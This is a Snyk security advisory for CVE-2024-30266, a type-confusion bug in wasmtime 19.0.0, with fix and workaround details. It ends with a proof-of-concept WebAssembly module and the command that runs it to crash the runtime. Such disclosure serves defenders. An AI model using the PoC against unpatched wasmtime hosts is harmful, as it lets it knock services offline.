Access of Resource Using Incompatible Type ('Type Confusion') Affecting wasmtime package, versions >=19.0.0 <19.0.1


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Access of Resource Using Incompatible Type ('Type Confusion') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-WASMTIME-6516633
  • published3 Apr 2024
  • disclosed2 Apr 2024
  • creditShinWonho

Introduced: 2 Apr 2024

CVE-2024-30266  (opens in a new tab)
CWE-843  (opens in a new tab)

How to fix?

Upgrade wasmtime to version 19.0.1 or higher.

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to the use of a dropped externref-typed element segment in conjunction with a table.* instruction. An attacker can cause a denial-of-service by executing a valid WebAssembly module that triggers this panic.

Note:

This is only exploitable if the reference-types WebAssembly feature is enabled, which is the default setting.

Workaround

This vulnerability can be mitigated by using config.reference_types(false) to disable these modules at validation-time, preventing the possibility of a panic at runtime. If reference-types are required, then upgrading is the only other workaround.

PoC

;; table-init.wat
(module
  (table 0 0 externref)
  (func (export "table-init")
    (i32.const 0)
    (i32.const 0)
    (i32.const 0)
    (table.init 0 0)
  )
  (elem declare externref)
)
wasmtime --invoke table-init table-init.wat

CVSS Scores

version 3.1